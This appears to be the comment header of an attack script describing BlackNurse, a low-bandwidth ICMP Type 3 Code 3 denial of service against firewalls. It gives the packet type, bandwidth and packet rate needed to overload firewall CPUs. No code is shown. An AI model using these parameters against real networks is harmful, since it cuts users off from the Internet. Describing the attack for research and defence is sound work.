# Description:  
# Blacknurse is a low bandwidth ICMP attack that is capable of doing denial   
# of service to well known firewalls. Most ICMP attacks that we see are based   
# on ICMP Type 8 Code 0 also called a ping flood attack. BlackNurse is based   
# on ICMP with Type 3 Code 3 packets. We know that when a user has allowed ICMP   
# Type 3 Code 3 to outside interfaces, the BlackNurse attack becomes highly   
# effective even at low bandwidth. Low bandwidth is in this case around 15-18   
# Mbit/s. This is to achieve the volume of packets needed which is around 40 to   
# 50K packets per second. It does not matter if you have a 1 Gbit/s Internet   
# connection. The impact we see on different firewalls is typically high CPU   
# loads. When an attack is ongoing, users from the LAN side will no longer be   
# able to send/receive traffic to/from the Internet. All firewalls we have seen   
# recover when the attack stops.
